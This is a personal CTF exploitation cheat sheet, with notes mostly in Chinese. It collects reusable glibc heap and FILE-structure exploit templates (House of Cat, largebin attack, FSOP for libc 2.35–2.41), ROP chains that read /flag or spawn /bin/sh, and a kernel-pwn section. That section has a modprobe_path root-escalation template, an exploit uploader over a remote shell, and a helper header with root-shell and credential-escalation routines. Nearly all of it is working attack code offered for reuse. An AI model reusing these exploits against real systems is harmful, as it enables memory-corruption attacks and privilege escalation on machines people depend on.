binsh apple2

fake_io = heapbase + 0x320
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
# setcontext_61=libcbase+libc.sym['setcontext']+61
# rdi=libcbase+next(libc.search(asm('pop rdi; ret;')))
# rax=libcbase+next(libc.search(asm('pop rax; ret;')))
# rsi=libcbase+next(libc.search(asm('pop rsi; ret;')))
# sys_ret=libcbase+next(libc.search(asm('syscall; ret;')))
# ret=rdi+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
# Rop=p64(rdi)+p64(binsh)+p64(saddr)
# orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0    rdi             0x8   _IO_read_ptr
# 0x10  _IO_read_end     0x18  _IO_read_base
# 0x20  _IO_write_base   0x28  _IO_write_ptr
# 0x30  _IO_write_end    0x38  _IO_buf_base
# 0x40  _IO_buf_end      0x48  _IO_save_base
# 0x50  _IO_backup_base  0x58  _IO_save_end
# 0x60  _markers         0x68  _chain
# 0x70  _fileno          0x74  _flags2
# 0x78  _old_offset      0x80  _cur_column
# 0x82  _vtable_offset   0x83  _shortbuf
# 0x88  _lock            0x90  _offset
# 0x98  _codecvt         0xa0  _wide_data
# 0xa8  _freeres_list    0xb0  _freeres_buf
# 0xb8  __pad5           0xc0  _mode
# 0xc4  _unused2         0xd8  vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

pay=flat(
{
    0x0:[b'/bin/sh\x00'],     # rdi = binsh
    0x20:[p64(0)],            # write_base
    0x28:[p64(1)],            # write_ptr --> ptr > base
    0x48:[p64(saddr)],
    0xc0:[p64(0)],            # _mode <= 0
    0xd8:[p64(IO_wfile_jumps+0x30)],

    0x88:[p64(fake_io+0x90),p64(0),p64(1)],   # bypass lock

    0xA0:[p64(fake_io-0x10)],         # bypass check in wfile_seekoff
    0x10:[p64(1)],
    0x18:[p64(0)],
    # (0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
    (0xc8):[p64(fake_io+0xd0-0x18)],   
    (0xd0):[p64(fake_io+0x30)],   # call entry
    }, filler=b'\x00'
)

使用 _IO_wfile_jumps_maybe_mmap 表来执行 _IO_wfile_overflow 函数, 2.35, largebin attack模板

from pwn import * 
filename = './heap2.35'
libc = ELF("./libc-2.35.so") 
host= ''
port= 0


sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
context.terminal = ['tmux', 'splitw', '-h']
p = process(filename)

def dbg():
    cmds = """
        b _IO_wfile_overflow

    """
    gdb.attach(p, cmds)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')


def choice(ch):
    p.sendlineafter("choice:\n",str(ch))

def add(idx, size):
    choice(1)
    p.sendlineafter('idx:\n',str(idx))
    p.sendlineafter('size:\n',str(size))

def free(idx):
    choice(3)
    p.sendlineafter('idx:\n',str(idx))

def edit(idx, payload):
    choice(2)
    p.sendlineafter('idx:\n',str(idx))
    p.sendafter('content:\n',payload)

def show(idx):
    choice(4)
    p.sendlineafter('idx:\n',str(idx))

add(0, 0x520)
add(1, 0x500)
add(2, 0x510)

free(0)


add(3, 0x560)

show(0)
# libc_base = u64(p.recv(8))-0x203f50 2.39
libc_base = u64(p.recv(8)) - 0x21b110 # 2.35
p.recv(8)
heap_base = u64(p.recv(8))-0x290

free(2)

lg("libc_base")
lg("heap_base")

IO_list_all = libc_base + libc.sym['_IO_list_all']
fake_io_addr = heap_base + 0x290
lock = heap_base + 0x3000
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216f40
setcontext = libc_base + libc.sym['setcontext'] + 61
leave = libc_base + 0x000000000004da83
ret = libc_base + 0x00000000000467c9
rdi = libc_base + 0x000000000002a3e5
rsi = libc_base + 0x000000000002be51
rdx_r12 = libc_base + 0x000000000011f2e7
rax = libc_base + 0x0000000000045eb0
mprotect = libc_base + libc.sym['mprotect']

pl =p64(0) + p64(0) + p64(0) + p64(IO_list_all-0x20)
pl+=p64(0)*2 + p64(0) + p64(fake_io_addr+0x10)
pl+=p64(0)*4
pl+=p64(0)*3 + p64(lock)
pl+=p64(0)*2 + p64(fake_io_addr+0xe0) + p64(0)
pl+=p64(0)*4
pl+=p64(0) + p64(_IO_wfile_jumps_maybe_mmap) 
pl+=p64(setcontext)
pl+=p64(0)*(0x7 + 0x14 - 8) + p64(fake_io_addr + 0x1c8) + p64(ret) + p64(0)*6 + p64(fake_io_addr + 0xe0 - 0x68)
pl+=p64(rdi) + p64(heap_base >> 12 << 12) + p64(rsi) + p64(0x2000) + p64(rdx_r12) + p64(7)*2 + p64(mprotect) + p64(0xdeadbeef)# shellcode_addr

edit(0, pl)

dbg()
add(4, 0x500)




p.interactive()

2.39 House of cat

_IO_flush_all->_IO_wfile_seekoff->_IO_switch_to_wget_mode, QWBS9 bph.

from pwn import *
filename = './chall'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
host= '47.95.4.104'
port= 34865


sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
context.terminal = ['tmux', 'splitw', '-h']
p = process(filename)
# p = remote(host, port)

def dbg():
    cmds = """
# b *$rebase(0x1A8C  )
b *$rebase(0x1810   )
b _IO_wfile_seekoff
    """
    gdb.attach(p, cmds)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

def choice(idx):
    sla(b'Choice: ', str(idx))

def add(size, content):
    choice(1)
    sla(b'Size: ', str(size))
    sa(b'Content: ', content)

def delete(idx):
    choice(4)
    sla(b'Index: ', str(idx))

def view(content):
    sla(b'Index: ', content)


sa(b'Please input your token: ', b'a'*0x28)
p.recvuntil(b'a'*0x28)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xaddae
lg("libc_base")

stdin_addr = libc_base + 0x2038e0



add(stdin_addr + 1 + 0x38 , b'a')# stdin->_IO_buf_base <= 0

IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
fake_io_addr = libc_base + 0x205000 #一个可写的地址

# 不直接修改IO_list_all, 修改_IO_2_1_stderr_的chain为fake_io_addr


payload = b'a'*0x18 + p64(fake_io_addr) + p64(fake_io_addr+0x1000) + p64(0)*4
payload += p64(fake_io_addr)# _chain
sa(b'Choice: ', payload)


dbg()


pop_rdi = 0x000000000010f78b + libc_base
pop_rsi = 0x0000000000110a7d + libc_base
pop_rax = 0x00000000000dd237 + libc_base
pop_r13 = 0x00000000000584d9 + libc_base
mov_rdx_r13 = 0x00000000000b00d7 + libc_base
ret = pop_rdi + 1
flag_addr = fake_io_addr + 0x118
syscall = libc_base + 0x11ba8f
rop=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(libc_base+libc.symbols["open"])
rop += p64(pop_r13) + p64(0x100) + p64(mov_rdx_r13) + p64(0) * 4

rop+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr) + p64(libc_base+libc.symbols["read"])
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr) + p64(libc_base+libc.symbols["write"])


# 0x00000000000584d9 : pop r13 ; ret
# 0x00000000000b00d7 : mov rdx, r13 ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

# call_addr = libc_base + 0x04A99D # setcontext
call_addr = libc_base + libc.symbols["setcontext"] + 61

fake_IO_FILE = p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx setcontext rdi
fake_IO_FILE +=p64(call_addr) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(libc_base + 0x205700)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_base+0x202258)# _IO_wfile_jumps+48
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) + b"/flag\x00" # rax2_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xa0 + 0x88, b'\x00') + p64(0x40)

fake_IO_FILE = fake_IO_FILE.ljust(0xa0 + 0xa0, b"\x00") + p64(fake_io_addr + 0xa0 + 0xb8) + p64(ret)

fake_flags = 0
fake_IO_read_ptr = 0
payload = p64(fake_flags) + p64(fake_IO_read_ptr) + fake_IO_FILE + rop

sa(b'Choice: ', payload)

p.interactive()

House of cat 2.41

#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 1
ip = "47.93.103.116"
port = 26640
ELF_PATH="./main"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./libc.so.6")

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

def dbg():
    script = '''
        b _IO_flush_all
b *(&_IO_flush_all+210)
b _IO_switch_to_wget_mode
    '''
    if local:
        gdb.attach(p,script)
    pause()
def cmd(c):
    p.sendlineafter(b"Choice:", str(c).encode())
def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')



p.recvuntil('0x')
libcbase = int(p.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
libc.address = libcbase
jump = libc.sym['_IO_file_jumps']
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
lg("stdout")

file = flat(
{
    0x0:0xfbad1800,
    0x8:[stdout + 0x801, stdout, stdout+0x800],
    0x20:[stdout, stdout - 0x800, stdout],
    0x68:stdout - 0x10,
    0x88:stdout + 0x1f0,
    0xb0:0,
    0xc8:jump-8,

    0x78:stdout + 0x1f0,
    0x90:stdout

}, filler = b'\x00'
)
pay = bytes(file)


dbg()
s(pay)

fake_io=stdout+0x100
IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
saddr=libc.sym['system']
binsh=libc.search('/bin/sh').__next__()

magic=0x0000000000154720+libcbase
IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
setcontext_61=libc.sym['setcontext']+53
rdi=libc.search(asm("pop rdi;ret"),executable=True).__next__()
rax=libc.search(asm("pop rax;ret"),executable=True).__next__()
rsi=libc.search(asm("pop rsi;ret"),executable=True).__next__()
sys_ret=libc.search(asm("syscall;ret"),executable=True).__next__()
ret=rdi +1
saddr=libc.sym['system']
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0    rdi             0x8   _IO_read_ptr
# 0x10  _IO_read_end     0x18  _IO_read_base
# 0x20  _IO_write_base   0x28  _IO_write_ptr
# 0x30  _IO_write_end    0x38  _IO_buf_base
# 0x40  _IO_buf_end      0x48  _IO_save_base
# 0x50  _IO_backup_base  0x58  _IO_save_end
# 0x60  _markers         0x68  _chain
# 0x70  _fileno          0x74  _flags2
# 0x78  _old_offset      0x80  _cur_column
# 0x82  _vtable_offset   0x83  _shortbuf
# 0x88  _lock            0x90  _offset
# 0x98  _codecvt         0xa0  _wide_data
# 0xa8  _freeres_list    0xb0  _freeres_buf
# 0xb8  __pad5           0xc0  _mode
# 0xc4  _unused2         0xd8  vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]

cat=flat(
{
0x0:[b'./flag.txt'],     # rdi=binsh
0x20:[p64(0)],            # write_base
0x28:[p64(1)],            # write_ptr --> ptr > base
0xc0:[p64(0)],            # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],

0x88:[p64(fake_io+0x90),p64(0),p64(1)],   # bypass lock

0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)],            # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)],            # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)],   # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp
(0x1C8+0x68):[p64(0xffffff9c)],       # rdi
(0x1C8+0xA8):[p64(rax)],              # ret_addr
(0x1C8+0x88):[p64(0x100)],            # rdx
(0x1C8+0x70):[p64(fake_io)],          # rsi
(0x280):[p64(0x101),p64(sys_ret),            # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')

file = flat(
{
    0x58:stdout + 0x100,
    0x88:stdout + 0x1f0,
    0xb0:0,
    0xc8:jump - 8,

    0x78:stdout + 0x1f0,
    0x90:fake_io

}, filler = b'\x00'
)

pay = bytes(file).ljust(0x100, b'\x00') + bytes(cat)
s(pay)

p.interactive()

2.35 QWB house of cat 用malloc_assert调用


fake_io_addr = heap_base + 0x290
# ----------------------------------------------------------------------------------------#
pop_rdi = libc.search(asm("pop rdi;ret"),executable=True).__next__() + libc_base
pop_rsi = libc.search(asm("pop rsi;ret"),executable=True).__next__() + libc_base
pop_rax = libc.search(asm("pop rax;ret"),executable=True).__next__() + libc_base
pop_r13 = libc.search(asm("pop r13;ret"),executable=True).__next__() + libc_base
mov_rdx_r13 = 0x00000000000a80e3 + libc_base
ret = pop_rdi + 1
flag_addr = fake_io_addr + 0x118
sysall = libc_base + 0xea5b9
close = libc_base+libc.sym['close']
rop = flat(pop_rdi, 0, close)
rop += p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_r13) + p64(64) + p64(mov_rdx_r13) + p64(0) * 4

rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr) + p64(libc_base+libc.symbols["read"])
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr) + p64(libc_base+libc.symbols["write"])


# 0x00000000000584d9 : pop r13 ; ret
# 0x00000000000a80e3 : mov rdx, r13 ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

# call_addr = libc_base + 0x04A99D # setcontext
call_addr = libc_base + libc.symbols["setcontext"] + 61
_IO_wfile_jumps = libc_base + libc.symbols["_IO_wfile_jumps"]


#这个模板的fake_IO_FILE不包括flags和_IO_read_ptr, 刚好放到堆里面
fake_IO_FILE = p64(0)*6
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx setcontext rdi
fake_IO_FILE +=p64(call_addr) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps + 0x10)# _IO_wfile_jumps+0x10, 这题用malloc_assert触发的,_IO_wfile_xsputn+0x10=_IO_wfile_seekoff
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) + b"/flag\x00" # rax2_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xa0 + 0x88, b'\x00') + p64(0x40)

fake_IO_FILE = fake_IO_FILE.ljust(0xa0 + 0xa0, b"\x00") + p64(fake_io_addr + 0xa0 + 0xb8) + p64(ret)

# ----------------------------------------------------------------------------------------#
IO_list_all = libc_base + libc.sym['_IO_list_all']
stderr = libc_base + 0x21a860
top_chunk = heap_base + 0x2500
add(0, 0x450, fake_IO_FILE+rop)

脚本模板

#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 1
ip = "47.93.103.116"
port = 26640
ELF_PATH="./pwn"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./libc.so.6")

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x, drop=True)

def dbg():
    script = '''

    '''
    if local:
        gdb.attach(p,script)
    pause()

def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

p.interactive()

openat2 rop

syscall ; ret 在libc的alarm函数里

参数设置:openat2(-100, flag_str, fake_struct, 0x18), 其中fake_struct中0x18长度都是0

#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 1
ip = "47.93.103.116"
port = 26640
ELF_PATH="./baka"
if local:
    p = process(ELF_PATH)
else:
    p = remote(ip,port)
elf = ELF(ELF_PATH)
libc = ELF("./libs/libc.so.6")

sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)

def dbg():
    script = '''

    '''
    if local:
        gdb.attach(p,script)
    pause()
def cmd(c):
    p.sendlineafter(b"Choice:", str(c).encode())
def lg(buf):
    log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')

pop_rdi_rbp = 0x00000000004013ff
leave_ret = 0x00000000004012da
ret = 0x00000000004011f0
bss = 0x404100
puts_got = elf.got['puts']
puts = elf.sym['puts']

read1 = 0x401411          


payload = b'a'*64 + b'b'*8
payload += flat(pop_rdi_rbp, puts_got, bss + 0x40, puts, read1)

sla(b'Come n bite me :)\n', payload)

libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
lg("libc_base")

pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
pop_rax = libc_base + 0x0000000000036174
syscall_ret = libc_base + 0xe2d99
mov_r10_rdx_jmp_rax = libc_base + 0x0000000000077f4b
dbg()
flag_str = bss
payload = b'/flag\x00\x00\x00' + b'a'*0x38 + b'b'*8
payload += flat(pop_rdi, -100, pop_rsi, flag_str,  pop_rdx_r12, 0x18, 0, 
    pop_rax, pop_rdx_r12, mov_r10_rdx_jmp_rax, flag_str+0x500, 0, pop_rax, 437, syscall_ret,
    pop_rdi, 3, pop_rsi, bss, pop_rdx_r12, 0x100, 0, pop_rax, 0, syscall_ret,
    pop_rdi, 1, pop_rsi, bss, pop_rdx_r12, 0x100, 0, pop_rax, 1, syscall_ret)
s(payload)

p.interactive()

# 0x0000000000077f4b : mov r10, rdx ; jmp rax



kernel cheatsheat

打包

find . | cpio -o -H newc > ../initramfs.cpio

解包

#!/bin/bash 

mkdir initramfs
(cd initramfs && cpio -idv < ../initramfs.cpio)
gcc -static exp.c -o exp -lpthread
void dump(void *buf) {
    size_t *bufz = (size_t *)buf;
    for (unsigned int i=0; i<(OBJECT_SIZE+7)>>3; ++i) {
        char ascii[9];
        for (int j=0; j<8; ++j) {
            uint8_t ch = (uint8_t)(bufz[i] >> j*8);
            ascii[j] = (char)(32 <= ch && ch <= 126 ? ch : '.');
        }
        ascii[8] = 0;
        printf("\x1b[34;1m0x%08x:\x1b[0m \x1b[33;1m0x%016lx\x1b[0m    /*  \x1b[90;1m%s\x1b[0m  */\n", i << 3, bufz[i], ascii);
    }
    printf("\n");
}

modprobe_path 模板

    system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /home/user/flag\n/bin/chmod 777 /home/user/flag' > /home/user/copy.sh");
    system("chmod +x /home/user/copy.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");
    system("chmod +x /home/user/dummy");

    OR


    int main(void) {
    setuid(0);
    if(getuid() == 0) {
        system("/bin/sh");
    }
    system("rm /tmp/dummy 2>/dev/null");
    system("rm /tmp/x 2>/dev/null");
    write_file("/tmp/x", "#!/bin/sh\n/bin/chown root:root /home/user/crasher\n/bin/chmod u+s /home/user/crasher");
    system("chmod 755 /tmp/x");
    write_file("/tmp/dummy", "\xff\xff\xff\xff");
    system("chmod 755 /tmp/dummy");
    kern_base = get_kern_base();
    printf("got kernel base leak: %p\n", kern_base);
    write_modprobe_path();
    system("/tmp/dummy 2>/dev/null");
    system("/home/user/crasher");
    getchar();
}
from pwn import *
import base64
#context.log_level = "debug"

with open("./exp", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("127.0.0.1", 11451)
#p = process('./run.sh')
try_count = 1
while True:
    p.sendline()
    p.recvuntil("/ $")

    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    for i in range(count):
        p.recvuntil("/ $")

    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    p.sendline("/tmp/exploit ")
    break

p.interactive()
/**
 * @file kernel.h
 * @author arttnba3 (arttnba@gmail.com)
 * @brief arttnba3's personal utils for kernel pwn
 * @version 1.1
 * @date 2023-05-20
 * 
 * @copyright Copyright (c) 2023 arttnba3
 * 
 */
#ifndef A3_KERNEL_PWN_H
#define A3_KERNEL_PWN_H

#ifndef _GNU_SOURCE
  #define _GNU_SOURCE 
#endif

#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>

/**
 * I - fundamental functions
 * e.g. CPU-core binder, user-status saver, etc.
 */

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred;

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;

    return vmemmap_base + page_count * 0x40;
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

/* for ret2usr attacker */
void get_root_privilige(size_t prepare_kernel_cred, size_t commit_creds)
{
    void *(*prepare_kernel_cred_ptr)(void *) = 
                                         (void *(*)(void*)) prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

/**
 * @brief create an isolate namespace
 * note that the caller **SHOULD NOT** be used to get the root, but an operator
 * to perform basic exploiting operations in it only
 */
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

/**
 * II - fundamental  kernel structures
 * e.g. list_head
 */
struct list_head {
    uint64_t    next;
    uint64_t    prev;
};

/**
 * III -  pgv pages sprayer related 
 * not that we should create two process:
 * - the parent is the one to send cmd and get root
 * - the child creates an isolate userspace by calling unshare_setup(),
 *      receiving cmd from parent and operates it only
 */
#define PGV_PAGE_NUM 1000
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

/* operations type */
enum {
    CMD_ALLOC_PAGE,
    CMD_FREE_PAGE,
    CMD_EXIT,
};

/* tpacket version for setsockopt */
enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

/* pipe for cmd communication */
int cmd_pipe_req[2], cmd_pipe_reply[2];

/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, 
                     &version, sizeof(version));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_VERSION)\n");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}

/* the parent process should call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

/* the parent process should call it to send command of freeing to child */
int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(req));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

/* the child, handler for commands from the pipe */
void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    /* create an isolate namespace*/
    unshare_setup();

    /* handler request */
    do {
        read(cmd_pipe_req[0], &req, sizeof(req));

        if (req.cmd == CMD_ALLOC_PAGE) {
            ret = create_socket_and_alloc_pages(req.size, req.nr);
            socket_fd[req.idx] = ret;
        } else if (req.cmd == CMD_FREE_PAGE) {
            ret = close(socket_fd[req.idx]);
        } else {
            printf("[x] invalid request: %d\n", req.cmd);
        }

        write(cmd_pipe_reply[1], &ret, sizeof(ret));
    } while (req.cmd != CMD_EXIT);
}

/* init pgv-exploit subsystem :) */
void prepare_pgv_system(void)
{
    /* pipe for pgv */
    pipe(cmd_pipe_req);
    pipe(cmd_pipe_reply);

